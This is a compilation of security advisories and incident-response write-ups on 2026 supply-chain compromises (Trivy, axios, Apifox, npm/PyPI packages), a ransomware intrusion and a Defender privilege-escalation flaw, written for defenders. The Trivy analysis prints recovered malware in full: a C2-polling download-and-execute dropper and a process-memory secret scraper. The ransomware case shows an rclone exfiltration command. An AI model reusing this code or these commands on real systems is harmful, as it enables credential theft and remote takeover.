• Monitor for the execution of compromised binaries (DTHelper.exe, DiscSoftBusServiceLite.exe, DTShellHlp.exe) and associated payloads (envchk.exe, cdg.exe, cdg.tmp).
• Await official guidance or patched releases from AVB Disc Soft before reinstalling the software in enterprise environments.

What the Cyber Fusion Center is Doing

The Cyber Fusion Center (CFC) is monitoring the situation and will issue advisory updates as needed. A threat hunting campaign will be conducted to identify activity related to this attack.

References

• DAEMON Tools Supply Chain Attack Compromises Official Installers with Malware
• Supply chain attack via DAEMON Tools | Kaspersky official blog
• Popular DAEMON Tools software compromised | Securelist

Summary

A sophisticated supply chain attack, dubbed "Mini Shai Hulud" has been attributed to the threat actor group TeamPCP. This operation involves the compromise of SAP-related npm packages through the injection of malicious preinstall scripts. The attack aims to harvest developer and CI/CD secrets from platforms such as GitHub, npm, and major cloud providers, with exfiltration occurring via attacker-controlled GitHub repositories.

Update 30 April: Campaign Expansion

The campaign has expanded beyond the initial SAP package ecosystem to compromise high-profile packages in the PyPI (lightning aka PyTorch Lightning) and npm (intercom-client) registries. The threat actors have shifted tactics to leverage automated CI/CD workflows and compromised maintainer accounts to distribute malicious versions, indicating a highly coordinated and automated propagation strategy.

Affected Systems and/or Applications

The attack targets specific npm packages within the SAP ecosystem, including:

• @cap-js/sqlite - v2.2.2
• @cap-js/postgres - v2.2.2
• @cap-js/db-service - v2.10.1
• mbt - v1.2.48

These packages have been modified to include malicious preinstall scripts that execute during the npm install process.

Update 30 April: Campaign Expansion

• PyPI Packages:
  • lightning (PyTorch Lightning) versions 2.6.2 and 2.6.3
• npm Packages:
  • intercom-client version 7.0.4

Technical Details

The attack begins with the execution of a setup.mjs script, which downloads the Bun runtime and executes an obfuscated payload (execution.js). This payload acts as a credential stealer and propagation framework, targeting developer environments and CI/CD pipelines. It collects sensitive data, including:

• GitHub tokens
• npm credentials
• Cloud secrets (AWS, Azure, GCP)
• Kubernetes tokens
• GitHub Actions secrets

Exfiltration is conducted via public GitHub repositories using encrypted payloads. The malware includes logic to propagate to additional repositories and package distributions. Notably, the operation employs a system check to terminate if the compromised machine is configured for the Russian language, ensuring no data is exfiltrated from Russian-speaking systems.

The attack also introduces browser credential theft capabilities, targeting multiple browsers such as Chrome, Safari, Edge, Brave, and Chromium.

Update 30 April:

• Execution Chain in PyPI: The compromised lightning package includes a hidden _runtime directory containing a downloader and an obfuscated JavaScript payload. A Python script (start.py) automatically executes upon module import, downloading the Bun runtime and running an 11 MB obfuscated payload (router_runtime.js) designed for comprehensive credential theft.
• npm Propagation: The malware modifies local npm packages by injecting a postinstall hook into the package.json file, increments the patch version number, and repacks the .tgz tarballs. If a developer inadvertently publishes these tampered packages, the malware propagates to downstream systems.

Mitigation

Security teams should take the following steps to mitigate the impact of this attack:

1. Identify Exposure: Search environments, lockfiles, artifact stores, and CI logs for affected package versions and malicious files (setup.mjs, execution.js).
2. Rotate Credentials: If exposure is suspected, immediately rotate GitHub tokens, npm tokens, cloud credentials, Kubernetes tokens, and CI/CD secrets.
3. Audit GitHub Activity: Look for suspicious commits, newly created repositories, or indicators such as the propagation keyword and unusual commit authors.
4. Monitor for Indicators of Compromise (IoCs): Utilize the provided file hashes to detect compromised files within your environment.

Update 30 April: Immediate Remediation

1. Block and Remove Malicious Versions: Explicitly block lightning versions 2.6.2 and 2.6.3, as well as intercom-client version 7.0.4. Remove these packages from all developer systems and CI/CD caches if already installed.
2. Downgrade to Clean Releases: Revert to the last known secure versions lightning 2.6.1 and/or intercom-client 7.0.3 at time of writing to restore functionality without the malicious payload.
3. Enforce Branch Protection and Commit Verification: Implement strict branch protection rules requiring pull request reviews and status checks. Enforce commit signature verification (GPG/SSH) to neutralize AI impersonation tactics and detect unauthorized commits

Indicators of Compromise

What the Cyber Fusion Center is Doing

The Cyber Fusion Center (CFC) continues to actively monitor the situation and will issue advisory updates as needed. A threat hunting campaign regarding the above activity will be conducted.

References

• Wiz.io Blog: Mini Shai Hulud Supply Chain Attack
• Socket.dev Blog: lightning PyPI Package Compromised in Supply Chain Attack
• Socket.dev Blog: Intercom’s npm Package Compromised in Ongoing Mini Shai-Hulud Worm Attack

Introduction

This is not a story about a novel exploit chain or a nation-state implant. There is no zero-day in this Incident Response engagement, no supply chain compromise, no sandbox escape. This is a story about a FortiGate admin panel on the internet, an account that should have been disabled two years ago, a service account that should never have been Domain Admin, and a SQL server that somehow never got the EDR agent.

None of these are new problems. All of them are on every hardening checklist ever written. Together, they gave INC Ransomware operators everything they needed to exfiltrate about 400 gigabytes of business data and detonate ransomware across the environment in under 48 hours.

We are publishing this case not because it is unusual, but because it is not. The same combination of third-party access sprawl, stale accounts, over-privileged service accounts, and incomplete security tooling exists in most environments we assess. The attackers did not need to be clever. They just needed the basics to be broken.

Year after year, the two dominant initial access vectors in ransomware incidents remain weak or stolen credentials and unpatched vulnerabilities. This case is a textbook example of the first. And once inside, the attackers did exactly what we see in every engagement: they searched for unmanaged assets, systems outside the security stack's visibility, to stage their operations. The SQL server without EDR became the exfiltration platform. None of this required sophistication.

Initial Access

The threat actor started by brute-forcing the victim's internet-facing FortiGate management interface. No rate limiting, no account lockout, no MFA. A local admin account fell to credential stuffing from a rotating set of IPs across Russia, Iran, Brazil, and various proxy providers. The login succeeded. Nobody noticed.

About two weeks later, the attacker downloaded the FortiGate configuration backup. FortiGate configs contain local user credentials (often reversible) and full SSL VPN settings. From this single file, the attacker pulled credentials for two accounts:

A stale partner account belonging to a former employee of the victim's managed services provider. Last legitimate login: over two years prior. The employee had left the partner company, but the victim's account was never disabled.

A FortiGate service account with a password unchanged for 1,408 days. This account had Domain Admin privileges.

Two accounts. One forgotten, one over-privileged. Both with passwords sitting in a config file on an internet-facing appliance.

Roughly four weeks after the config download, the attacker logged into the FortiGate GUI and added the stale partner account to the SSL VPN user group. Minutes later, the account connected via VPN. From the SOC's perspective, this looked normal: a known partner account connecting over VPN. No alerts fired because nothing about it was technically anomalous, except that the human behind the account had not worked there in over two years.

The gap between obtaining credentials and using them matters. Weeks of inactivity between the config download and VPN activation suggest the initial access broker who compromised the FortiGate likely sold or handed off access to the INC Ransomware operators during this window, a common pattern in the ransomware-as-a-service ecosystem.

Discovery and Lateral Movement

The next day, the operators switched to the FortiGate service account. Domain Admin. Nearly four-year-old password. Interactive login enabled.

The service account started RDP sessions across the environment: file servers, hypervisors, the ERP system, domain controllers, the Veeam backup server. 17 systems in total.

First actions on target were basic reconnaissance, enumerating shares and launching a command shell:

‍

Login records from the domain controller revealed a Kali Linux hostname among the connecting systems, confirming hands-on-keyboard operation from an offensive Linux distribution:

‍

Credential Access

On the Veeam backup server, the attacker reset the backup service account password from the command line. The EDR agent captured it in real time:

This is a deliberate move to slow down recovery and create persistence.

Exfiltration

The victim had a commercial EDR solution deployed. But the SQL server holding the organization's critical business data did not have the agent installed. It was only onboarded the day after the attack, likely by the managed services partner scrambling to respond.

This is what attackers look for. They do not need to evade EDR if they can find a server that does not have it. An unmanaged asset with access to sensitive data is the perfect staging point.

Within hours of the first lateral movement, the attacker ran Rclone on the unmonitored SQL server:

^{rclone.exe copy Z: was4:<bucket>/share--ignore-existing
 --transfers=32--multi-thread-streams=32
 --multi-thread-cutoff=12M--max-size=25M
 --include"*.{xls,pdf,xlsx,doc,docx,txt}"
 --max-age=3y --progress -vv}

Only office documents and PDFs. Only files from the last three years. 32 parallel streams to maximize throughput.

The firewall captured every PUT request. The user-agent string, rclone/v1.72.1, is right there in the logs, along with the destination hostname:

‍

The exfiltration ran for roughly 21 hours. About 410 gigabytes left the network. No EDR alert, because there was no EDR on that server. The firewall logs recorded the volume, but nobody was watching outbound traffic from a server that had no business talking to cloud storage.

Impact

Hours after the exfiltration completed,

win.exe dropped into \Users\Public\Pictures\ and executed the INC Ransomware

The EDR blocked it on every host where it was deployed. The systems without the agent were encrypted.

The incident response team was engaged the following morning. The managed services partner restored 17 VMs from backup.

Adversary Intelligence

INC MITRE HEATMAP

‍

MITRE ATT&CK Mapping

‍

Indicators of Compromise

Ransomware Binary

‍

Exfiltration Tool

Key Takeaways

Every step of this attack exploited a gap that shows up in penetration test reports and audit findings year after year.None of them are hard to understand. All of them are hard to sustain operationally, which is why they persist.

The two dominant initial access vectors in ransomware incidents remain weak or stolen credentials and unpatched vulnerabilities. In this case, credentials alone were enough. Abrute-forced admin panel led to a config file with extractable passwords, which led to a stale account with VPN access, which led to a service account with Domain Admin. Each link in that chain was a credential management failure.

The other pattern: attackers actively seek unmanaged assets. The SQL serverwithout EDR became the exfiltration platform precisely because it was invisible to the security stack. If your tooling does not see a system, that system iswhere the attacker will operate from.

Here are the specific controls that wouldhave broken this attack chain at each stage.

Lockdown network appliance management. Restrict FortiGate admin access to a management VLAN or jump host. The admin panel should never be reachable from the public internet. Enable login attempt throttling and account lockout. Enable MFA on all admin accounts. Audit local accounts quarterly and remove any that are not actively needed.

Control third-party access lifecycle. Require partners to notify you of staffing changes within 48 hours and write it into the service agreement. Run a monthly stale account report: any domain account with nointeractive login in 90 days gets disabled automatically, 180 days deleted. Tag all third-party accounts in AD with a custom attribute (partner name, contract expiry) so they are auditable as a group. Restrict third-party VPN sessions to specific source IP ranges or require client certificate authentication.

Eliminate over-privileged service accounts. Audit every account in Domain Admins, Enterprise Admins, and Administrators. Migrate service accounts to Group Managed Service Accounts (gMSA) with the minimum privileges they actually need. Disable interactive login for service accounts. Enforce a maximum password age of 365 days for any account that cannot use gMSA. A 1,408-day-old password is indefensible.

Achieve 100% EDR coverage. Treat incomplete EDR deployment as a critical finding, not a backlog item. Every server gets the agent, no exceptions. Reconcile EDR agent inventory against your CMDB weekly. Any host inAD or your hypervisor inventory but missing from the EDR console is a gap that needs same-day remediation. Pay extra attention to data-tier servers: SQL, fileservers, NAS, backup servers. These are the exfiltration sources.

Restrict and monitor server egress. Default-deny outbound internet access for all servers. Block cloud storage providers at the firewall for server subnets: Wasabi, Mega, AWS S3 (unless specifically needed), Backblaze, pCloud. There is no reason a SQL server should resolve wasabisys.com. Alert on outbound transfers exceeding a baseline threshold. If a server that normally sends 2 GB/day suddenly pushes 50 GB, that is a detection opportunity.

Protect backup infrastructure. Isolate Veeam and other backup servers on a dedicated management VLAN with strict access controls. Use unique, complex credentials for backup service accounts that are not stored in the same AD as production accounts. Enable immutable backups or air-gapped copies. The attacker changed the Veeam password to prevent recovery. Immutable storage makes that move irrelevant.

‍

‍

‍

‍

‍

Summary

BlueHammer is a publicly disclosed zero-day local privilege escalation (LPE) vulnerability affecting Microsoft Windows systems via Microsoft Defender. A working proof-of-concept (PoC) exploit has been released publicly, enabling attackers with low privileges to escalate up to NT AUTHORITY\SYSTEM, effectively gaining full control of the host. This is particularly critical as it impacts fully patched systems, has a low barrier to exploitation, and there is no official patch available to mitigate it. It is important to note that this does require local access to the system along with the ability to execute code as a low-privileged user.

Affected Systems and/or Applications

• Microsoft Windows (hosts and servers; servers may only allow escalation to Administrator at this time)
• Microsoft Defender Antivirus, particularly its signature update mechanism

Technical Details

BlueHammer exploits weaknesses in the Microsoft Defender signature update workflow, rather than the scanning engine itself. The vulnerability chain combines a Time-of-Check to Time-of-Use (TOCTOU) race condition with path confusion and symbolic link manipulation, allowing attackers to redirect privileged file operations.

The exploit operates by interacting with Defender’s internal RPC interface (IMpService) to trigger the signature update process. It leverages legitimate update behavior by downloading signature files (such as mpasbase.vdm) from Microsoft servers, then uses opportunistic locking (oplocks) to pause execution at a critical moment. During this race window, the attacker replaces expected file paths using NTFS junctions, reparse points, and Object Manager symbolic links, effectively redirecting operations performed by Defender running as SYSTEM. Advanced techniques such as the Windows Cloud Files API and Volume Shadow Copy mechanisms are used to reliably win the race condition. As a result, Defender executes privileged actions on attacker-controlled paths, enabling escalation to SYSTEM-level access.

Impact capabilities include: - SYSTEM-level shell access (hosts) / Administrator-level access (servers) - Credential dumping (e.g., NTLM hashes) - Full system compromise, including persistence and lateral movement

While exploitation requires precise timing and is not fully reliable, it is considered operationally viable and dangerous due to public PoC availability.

Mitigation

No official patch is currently available.

Recommended defensive actions: - Enforce least privilege principles - Restrict local and interactive access - Monitor Defender-related activity and update processes

What the Cyber Fusion Center is Doing

The Cyber Fusion Center (CFC) is actively monitoring the situation and will issue advisory updates as needed.

References

• https://www.exploitpack.com/blogs/news/blue-hammer-analysis-ms-defender-lpe
• https://cybersecuritynews.com/bluehammer-poc-for-windows-defender/
• https://www.bleepingcomputer.com/news/security/disgruntled-researcher-leaks-bluehammer-windows-zero-day-exploit/

‍

Summary

A supply chain attack targeting the Apifox desktop client was detected by the SlowMist security team in March 2026. Attackers compromised an official CDN-hosted JavaScript file (apifox-app-event-tracking.min.js), injecting malicious code disguised as analytics tracking functionality. The compromised script was automatically executed by the Electron-based desktop application without requiring user interaction, resulting in the theft of authentication credentials, system information, and API credentials, as well as enabling remote code execution (RCE) capabilities on affected systems.

Affected Systems and/or Applications

• Primary Target: Apifox desktop client (Electron-based application)
• Attack Vector: Compromised CDN script file (apifox-app-event-tracking.min.js)
• User Impact: All users who launched the Apifox desktop client during the period when the CDN-hosted script was compromised
• Platforms: Windows, macOS, and Linux systems running the Apifox desktop application

Technical Details

CDN Compromise and Script Injection: - The official CDN-hosted file apifox-app-event-tracking.min.js was tampered with at the source, injecting malicious JavaScript into a trusted analytics script - Because Apifox is built on Electron, the desktop application automatically loads this script on every startup and during normal operation, executing the malicious payload without any user action or consent.

Once executed within the Apifox Electron runtime, the payload performed the following actions: -  Extracted authentication tokens from the application's local storage, specifically targeting common.accessToken and related session data. -  Executed system commands (ps aux on macOS/Linux, tasklist on Windows) to enumerate running processes. -  Targeted the following files and directories for exfiltration: - ~/.ssh/ - SSH private and public keys - ~/.git-credentials Git authentication credentials - ~/.zsh_history / ~/.bash_history - Shell command history - ~/.kube/* - Kubernetes cluster configurations and tokens - ~/.npmrc - npm registry authentication tokens - ~/.zshrc - Zsh configuration (may contain secrets) - ~/.subversion/* - SVN credentials -  Stolen data transmitted to C2 servers via RSA-encrypted channels, tagged with custom HTTP headers/fields: af_uuid, af_os, af_user, af_name, af_apifox_user, af_apifox_name. -  Retrieved and executed arbitrary remote payloads from C2 infrastructure, establishing a persistent backdoor. -  A built-in randomized timer triggered continuous data theft and payload fetch cycles throughout the application's runtime.

Mitigation

1. Revoke all tokens: Apifox access tokens, API keys, and OAuth tokens stored or accessed through the client.
2. Rotate SSH keys: Generate new SSH key pairs and remove compromised public keys from all authorized hosts.
3. Reset passwords: Change Apifox account password and any password that may have been stored in targeted files.
4. Invalidate Apifiox sessions: Log out and log back in to force session token invalidation.
5. Rotate Git credentials: Regenerate GitHub/GitLab personal access tokens and deploy keys.
6. Rotate Kubernetes credentials: Regenerate kubeconfig tokens and audit cluster access logs.
7. Rotate npm tokens: Revoke and regenerate all npm authentication tokens.
8. Clear local storage: Remove _rl_headers and _rl_mc keys from Apifox's LevelDB storage via the developer console: localStorage.removeItem(‘_rl_headers’);localStorage.removeItem(‘_rl_mc’);
9. Review audit logs: Examine API access logs, Git repository activity, and infrastructure access logs for anomalous activity during the March 4–22 window.

IOCs

Network:

DomainNotesapifox[.]it[.]comPrimary C2 domain, hosted on Cloudflare, active 18 days, now offlinecdn[.]openroute[.]devSecondary C2 / payload deliveryupgrade[.]feishu[.]it[.]comC2 communication endpointsystem[.]toshinkyo[.]or[.]jpC2 communication endpoint*[.]feishu[.]it[.]comWildcard subdomain used for C2ns[.]openroute[.]devDNS infrastructure related to attack

File:

IndicatorValueCompromised Fileapifox-app-event-tracking.min.jsSHA25691d48ee33a92acef02d8c8153d1de7e7fe8ffa0f3b6e5cebfcb80b3eeebc94f1Original Size~34 KBCompromised Size~77 KB

Host-based:

• Presence of _rl_headers and _rl_mc keys in Apifox LevelDB local storage
• Unexpected outbound DNS queries or connections to the C2 domains listed above
• Evidence of ps aux or tasklist execution spawned from the Apifox/Electron process tree
• Unauthorized reads of ~/.ssh/, ~/.git-credentials, ~/.kube/, ~/.npmrc

What the Cyber Fusion Center is doing

The CFC continues to monitor the situation and is in the process of building a threat-hunting campaign to identify related activity. This advisory will be updated if required.

References

• Security Alert: Supply Chain Attack on Apifox Desktop Client via Compromised Official CDN Script - SlowMist
• Crypto Tools Under Attack as Apifox Breach Exposes Sensitive Data - Crypto Times
• Apifox Incident Fix - GitHub Repository

‍

Summary

On March 31, 2026, StepSecurity identified a sophisticated supply chain attack involving the compromise of two versions of the popular axios HTTP client library on npm: [email protected] and [email protected]. These versions were published using compromised npm credentials of a lead axios maintainer, bypassing the usual CI/CD pipeline. The attack involved injecting a malicious dependency, [email protected], which executed a postinstall script deploying a cross-platform remote access trojan (RAT). This RAT targeted macOS, Windows, and Linux systems, establishing a connection with a command-and-control server to deliver platform-specific payloads.

Affected Systems and/or Applications

• Applications: Any application using [email protected] or [email protected].
• Operating Systems: macOS, Windows, and Linux systems where the malicious versions were installed.
• Development Environments: CI/CD pipelines and developer machines that executed npm install with the compromised versions.

Technical Details

Attack Vector

1. Maintainer Account Hijack: The attacker compromised the npm account of a primary axios maintainer, changing the registered email to an attacker-controlled ProtonMail address. This allowed the attacker to publish malicious versions of axios.
2. Malicious Dependency Injection: The attacker pre-staged a malicious package, [email protected], which was added as a runtime dependency in the compromised axios versions. This package contained a postinstall script that deployed a RAT.
3. RAT Deployment: The postinstall script executed a dropper that contacted a command-and-control server (sfrclak.com:8000) to deliver platform-specific payloads. The dropper employed obfuscation techniques to evade detection and performed self-cleanup to hide evidence of the compromise.

Indicators of Compromise

• Malicious npm Packages:
  • [email protected] (shasum: 2553649f232204966871cea80a5d0d6adc700ca)
  • [email protected] (shasum: d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71)
  • [email protected] (shasum: 07d889e2dadce6f3910dcbc253317d28ca61c766)
• Network Indicators:
  • C2 domain: sfrclak.com
  • C2 IP: 142.11.206.73
  • C2 POST body (macOS) · packages.npm.org/product0
  • C2 POST body (Windows) · packages.npm.org/product1
  • C2 POST body (Linux) · packages.npm.org/product2
• File System Indicators:
  • macOS: /Library/Caches/com.apple.act.mond
  • Windows: %PROGRAMDATA%\wt.exe
  • Linux: /tmp/ld.py
• Attacker-Controlled Accounts:
  • jasonsaayman · compromised legitimate axios maintainer, email changed to [email protected]
  • nrwise · attacker-created account, [email protected], published plain-crypto-js

Assesing wheter your npm system is affected

The Safe Version Reference is: [email protected] (safe) · shasum: 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb

Immediate Actions: - Downgrade to safe axios versions: [email protected] or [email protected]. - Remove plain-crypto-js from node_modules and reinstall dependencies with npm install --ignore-scripts. - Check for RAT artifacts on affected systems and treat them as fully compromised if found.

Preventive Measures: - Use --ignore-scripts in CI/CD pipelines to prevent postinstall hooks from executing. - Block C2 traffic at the network/DNS layer. - Rotate all credentials on systems where the malicious package ran.

For StepSecurity Enterprise Customers: - Utilize Harden-Runner to enforce network egress allowlists and detect anomalous network traffic. - Deploy StepSecurity Dev Machine Guard for real-time visibility into npm packages installed on developer devices.

What the Cyber Fusion Center is Doing

The CFC is monitoring the situation and analyzing the case to launch potential threat-hunting campaigns. This advisory will be updated if required.

References

• StepSecurity Blog on Axios Compromise: StepSecurity Blog
• Harden-Runner Insights: Harden-Runner Insights
• Threat Center Alert: StepSecurity Threat Center

‍

In March 2026, the TeamPCP threat actor compromised the open-source vulnerability scanner Trivy and distributed credential-stealing payloads through its official distribution channels. We investigated two separate clients affected by two distinct variants of this campaign: one through the compromised GitHub Action (trivy-action), the other through the compromised container image binary itself. Each variant operates differently, carries different capabilities, and requires a different investigative approach.

This post walks through both investigations: how we reverse-engineered each payload, what we found in the cloud audit trail following AWS secrets theft, and what the binary variant reveals about the attacker's ambitions beyond CI/CD credential theft. For the technical details of the supply-chain compromise mechanics, we refer the reader to CrowdStrike, Wiz, Rami McCarthy, and Microsoft.

Background: The TeamPCP Campaign

On March 19, 2026, threat actor TeamPCP compromised the aquasecurity/trivy-action GitHub Action and the Trivy container image (v0.69.4), distributing credential-harvesting payloads through Docker Hub, ECR, and GHCR. The campaign later expanded to npm packages (28 infected via a self-propagating worm), Checkmarx KICS GitHub Actions, OpenVSX extensions, and the LiteLLM PyPI package. This was a sustained, multi-ecosystem supply-chain operation spanning nearly a month.

Variant 1: The Trivy Action

The Payload

The malicious commit to trivy-action is still publicly accessible on GitHub. It injects malicious code into entrypoint.sh that execute before the legitimate Trivy scan. The payload operates in three stages:

Stage 1 reads /proc/PID/environ for the current process and any running Runner.Worker, Runner.Listener, runsvc, or run.sh processes. It captures environment variables matching env or ssh in the key name, and if a value points to a file on disk, reads that file too.

Stage 2 forks based on RUNNER_ENVIRONMENT. On GitHub-hosted runners, it scrapes the Runner.Worker process memory for JSON secrets structures. On self-hosted or GitLab runners, it executes a base64-encoded Python filesystem harvester signed "TeamPCP Cloud stealer" that reads SSH keys, cloud credentials, Kubernetes configs, Docker credentials, .env files, terraform state, shell history, database configs, TLS private keys, and cryptocurrency wallets, walking multiple directories up to 6 levels deep, matching over 100 file paths.

Stage 3 encrypts the collected data with AES-256-CBC (random session key wrapped with a hardcoded 4096-bit RSA public key), bundles it as tpcp.tar.gz, and POSTs to scan.aquasecurtiy[.]org. If the POST fails and a GitHub PAT is available, it creates a public repository named tpcp-docs and uploads the bundle as a release asset.

Reproducing the Stealer

When a credential stealer runs in your CI/CD pipeline, the natural reaction is to assume everything is compromised. That creates noise without clarity. Instead, we wanted to know precisely what the attacker received.

We replicated every check from the malicious payload (identical paths, glob patterns, recursive walk depths, and match functions) in an audit script, then ran it on a container configured to match the client's production GitLab runner environment.

The simulation confirmed the exact set of exfiltrated credentials: two distinct AWS key pairs with broad permissions, several CI/CD service tokens, and the full printenv output with all secrets in cleartext. Just as importantly, it confirmed what was not exposed: no SSH keys, no cloud credential files on disk, no Docker registry configs, and ephemeral containers with no persistent backdoor risk.

This gave us a definitive inventory to trace through CloudTrail. No guesswork, no FOMO-driven mass rotation.

CloudTrail: Four IPs, Four Toolkits

We performed an exhaustive CloudTrail search across all 29 AWS regions on both compromised keys from four distinct source IPs.

The first IP to touch the stolen keys ran TruffleHog to validate that the credentials were live. The TruffleHog user agent appears directly in CloudTrail. The attacker then enumerated IAM users, roles, Lambda functions, DynamoDB tables, CloudFormation stacks, and scanned every S3 bucket's ACL and public access configuration. Services outside the compromised policy (EC2, RDS, SecretsManager) returned AccessDenied.

The S3 Blind Spot

The attacker scanned 24 S3 buckets, including 9 terraform state buckets. The organization's CloudTrail was configured for management events only. S3 data events (GetObject, PutObject) were not enabled. We could see the attacker map every bucket and check every ACL, but not whether they downloaded anything.

With s3:* permissions and no data event logging, we assessed that the contents of all 24 scanned buckets should be treated as compromised.

We ran TruffleHog against all 24 buckets and found 5 RSA private keys in cleartext in one bucket used for JWT signing. TruffleHog is pattern-based though: it catches known secret formats but misses database passwords and API keys stored as plain values in terraform state files.

IAM Persistence

With iam:* permissions, the attacker could have created backdoor users, roles, or access keys that would survive key rotation. We pulled full IAM state dumps from both accounts. No backdoor users, roles, or keys were created. No policies modified. No trust relationships changed. The attacker stuck to reconnaissance.

Variant 2: The Trivy Binary

Detection Through Proactive Hunting

The second infection was not detected by an alert. The client's EDR had full telemetry of the compromised binary's execution, including the characteristic pgrep -f Runner.Worker child processes, but did not flag the malicious ELF file at the time it ran.

We identified the infection through proactive hunting. When the TeamPCP campaign IOCs were published, we matched the compromised Trivy v0.69.4 binary hash (822dd269ec10459572dfaaefe163dae693c344249a0161953f0d5cdd110bd2a0) against our clients' container image inventories and found a hit. The client had been running aquasec/trivy:latest with Watchtower auto-update enabled. When TeamPCP pushed the compromised image to Docker Hub, Watchtower pulled and deployed it automatically.

Binary Analysis: A Self-Contained Stealer

import urllib.request
  import os
  import subprocess
  import time

  C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
  TARGET = "/tmp/pglog"
  STATE = "/tmp/.pg_state"

  def g():
      try:
          req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
          with urllib.request.urlopen(req, timeout=10) as r:
              link = r.read().decode('utf-8').strip()
              return link if link.startswith("http") else None
      except:
          return None

  def e(l):
      try:
          urllib.request.urlretrieve(l, TARGET)
          os.chmod(TARGET, 0o755)
          subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
          with open(STATE, "w") as f:
              f.write(l)
      except:
          pass

  if __name__ == "__main__":
      time.sleep(300)
      while True:
          l = g()
          prev = ""
          if os.path.exists(STATE):
              try:
                  with open(STATE, "r") as f:
                      prev = f.read().strip()
              except:
                  pass

          if l and l != prev and "youtube.com" not in l:
              e(l)

          time.sleep(3000)

‍‍Unlike the Action variant (a shell script injected into entrypoint.sh), the binary variant compiles the malicious code directly into the Trivy Go binary. Aqua Security cleaned the repository and deleted the v0.69.4 tag. The malicious Go source files (scand.go, fork_unix.go) are no longer accessible on GitHub. But the compiled binary preserves everything.

Using strings extraction on the 153MB stripped ELF binary, we confirmed the malicious infrastructure compiled into the binary: the C2 URL (scan.aquasecurtiy[.]org), the GitHub fallback exfil pattern (tpcp-docs repository creation + release upload), the credential sweep file paths, and the persistence artifacts.

We also extracted two base64-encoded Python payloads embedded in the Go binary:

Payload 1: Memory scraper. Identical to the Action variant's GitHub-hosted runner path. Targets the Runner.Worker process via /proc/PID/mem, pattern-matching for {"value":"<secret>","isSecret":true}.‍

      import sys
  import os
  import re

  def get_pid():
      for pid in (p for p in os.listdir('/proc') if p.isdigit()):
          try:
              with open(os.path.join('/proc',pid,'cmdline'),'rb') as f:
                  if b'Runner.Worker' in f.read():return pid
          except OSError:continue
      raise SystemExit(0)
  pid=get_pid()
  map_path=f"/proc/{pid}/maps"
  mem_path=f"/proc/{pid}/mem"
  with open(map_path,'r') as map_f,open(mem_path,'rb',0) as mem_f:
      for line in map_f:
          m=re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])',line)
          if not m or m.group(3)!='r':continue
          start=int(m.group(1),16);end=int(m.group(2),16)
          if start>sys.maxsize:continue
          mem_f.seek(start)
          try:
              chunk=mem_f.read(end-start);sys.stdout.buffer.write(chunk)
          except OSError:continue

Payload 2: The sysmon.py persistence dropper. This is what sets the binary variant apart:‍

import urllib.request
  import os
  import subprocess
  import time

  C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
  TARGET = "/tmp/pglog"
  STATE = "/tmp/.pg_state"

  def g():
      try:
          req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
          with urllib.request.urlopen(req, timeout=10) as r:
              link = r.read().decode('utf-8').strip()
              return link if link.startswith("http") else None
      except:
          return None

  def e(l):
      try:
          urllib.request.urlretrieve(l, TARGET)
          os.chmod(TARGET, 0o755)
          subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
          with open(STATE, "w") as f:
              f.write(l)
      except:
          pass

  if __name__ == "__main__":
      time.sleep(300)
      while True:
          l = g()
          prev = ""
          if os.path.exists(STATE):
              try:
                  with open(STATE, "r") as f:
                      prev = f.read().strip()
              except:
                  pass

          if l and l != prev and "youtube.com" not in l:
              e(l)

          time.sleep(3000)

‍


The binary checks the GITHUB_ACTIONS environment variable. If absent (meaning it's running on a developer machine or standalone server, not in CI), it writes this Python script to ~/.config/systemd/user/sysmon.py and creates a systemd unit for persistence. The dropper sleeps 5 minutes, then polls the ICP blockchain-hosted C2 for a second-stage payload URL, downloads it to /tmp/pglog, and executes it.

This is a significant escalation over the Action variant. The Action is fire-and-forget: it runs once during a CI pipeline and exfiltrates what it finds. The binary adds a persistent backdoor that survives reboots and maintains ongoing access through a takedown-resistant C2 hosted on the Internet Computer Protocol.

Comparing the Two Variants

Attacker Infrastructure

Three of the four IPs are VPN exit nodes on Datacamp Limited (AS212238, Sweden and Croatia) and Host Universal (AS136557, New Zealand). Disposable anonymization infrastructure with no prior reputation in any threat intelligence feed.

The outlier is 209.159.147.239, an Interserver VPS in New York, the only one of the four with open services. It runs:

• Port 22: OpenSSH 9.6p1 (Ubuntu)
• Ports 888,443: nginx+simplehttp, gated behind authentication (HTTP 401 Unauthorized), serving a TLS certificate issued by Let's Encrypt for the domain nsa[.]cat
• Ports 9000, 9001, 2001: MinIO, an S3-compatible object storage server

The TLS certificate on port 443 revealed the domain. The certificate's Common Name is nsa[.]cat, linking the IP to the domain. Pivoting on the domain:

• Registered January 28, 2026 via Spaceship.com
• Registrant country: China
• 3 of 94 VirusTotal engines flag it as malicious
• Currently fronted by Cloudflare, but previously resolved directly to 209.159.147.239
• 71 certificates issued in Certificate Transparency logs, frequent cert rotation
• nginx returns 401 Unauthorized, password-protected, not a public-facing site

This is the attacker's operational server. They used it to run TruffleHog against stolen AWS keys (confirmed by the TruffleHog user agent in CloudTrail pointing to this IP). It hosts MinIO, a natural place to stage stolen credential bundles before processing. The 401 on nginx indicates a gated panel or API for managing operations. The other three IPs are throwaway VPN exits; this one is infrastructure the attacker owns and operates.

Open Directory on Port 888

During continued monitoring of this VPS, we found a Python HTTP server running on port 888 serving an open directory with two files:

• bomgar.txt (900K lines): a list of domains containing substrings like access, remote, rdweb, gateway, and secure-access. "Bomgar" is the former name of BeyondTrust Remote Support. This is a target list: domains with exposed BeyondTrust remote access endpoints. This is notable given the recent CVE-2026-1731, a pre-authentication remote code execution vulnerability in BeyondTrust Remote Support.
• raw_domains.txt (6.6 million lines): a massive domain list, likely scraped from Certificate Transparency logs or passive DNS datasets, used as input for the Bomgar scan.

This server looks like not just a credential staging point. The attacker is also using it to build target lists for exploiting remote access infrastructure.

Recommendations

